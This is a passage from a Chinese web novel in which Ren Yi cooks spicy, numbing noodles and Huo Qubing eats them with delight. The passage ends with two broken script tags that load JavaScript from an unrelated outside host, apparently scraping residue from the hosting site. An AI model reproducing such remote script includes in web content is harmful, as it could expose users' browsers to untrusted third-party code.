水很快烧开。
锅里的水 “咕嘟咕嘟” 地冒着泡,热气向上飘,带着水汽的暖意。任弋先把面条下进去,用筷子轻轻搅了搅,防止面条粘在一起。面条刚下锅时还是硬的,煮了一会儿就变软,在水里轻轻晃动,像白色的丝带。
等面条煮到半熟,任弋打开调料包。
先倒进去红色的辣油包,辣油是深红色的,带着浓郁的辣椒香,刚倒进去,锅里的水就泛起了红色的油花,香味瞬间飘了出来;再撒上褐色的麻椒粉,麻椒粉很细,落在水面上,很快就融进汤里,麻香混合着辣味,勾得人直咽口水;接着倒入浓缩的高汤料,白色的粉末遇水就化,原本清澈的水瞬间变得浓郁,像奶白色的浓汤;最后放进卤牛肉和青菜,卤牛肉一进锅,香味更浓了,青菜下锅后,很快就从翠绿变成深绿,看着就有食欲。
任弋盖上锅盖,焖了两分钟。
趁着这个时间,任弋简单地洗漱了一下。
“好了!” 他掀开锅盖,一股浓烈的香味瞬间弥漫开来,一辣二麻三鲜,辣得够劲却不烧喉咙,麻得过瘾却不呛人,鲜得醇厚却不油腻。连远处树枝上的鸟儿都被吸引过来,歪着头看着锅里,时不时叫两声,像是在讨食。
任弋找了两个干净的碗,先盛了一碗递给霍去病:“尝尝,小心烫!刚煮好的,温度高。”
霍去病接过碗,碗沿有点烫,他忍不住换了个手托着,吹了吹碗里的面条,小心翼翼地喝了一口汤。
下一秒,他的眼睛瞬间亮了起来!
辣味在舌尖炸开,带着辣椒的香气,却一点都不烧喉咙;麻味跟着上来,刺激得味蕾都活跃起来,连嘴唇都有点发麻,却越麻越想吃;最后是高汤的鲜味,在嘴里久久不散,连带着面条的筋道、牛肉的软烂、青菜的清爽,一起在口腔里融合。他甚至没顾得上说话,只是大口大口地吃着,面条沾着辣油,吃得他满头大汗,汗滴顺着下巴滚落,滴在碗沿上,他也舍不得放下碗。
“好吃!太好吃了!” 霍去病一边吃,一边含糊地称赞,声音里满是满足,“比宫里的御膳还好吃!任兄,这面还有吗?我还想再来一碗!这味太够劲了,吃得真爽!”
“有有有,管够!” 任弋笑着又盛了一碗递给她,自己也盛了一碗吃起来。
霍去病一碗接一碗,连吃了三碗
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">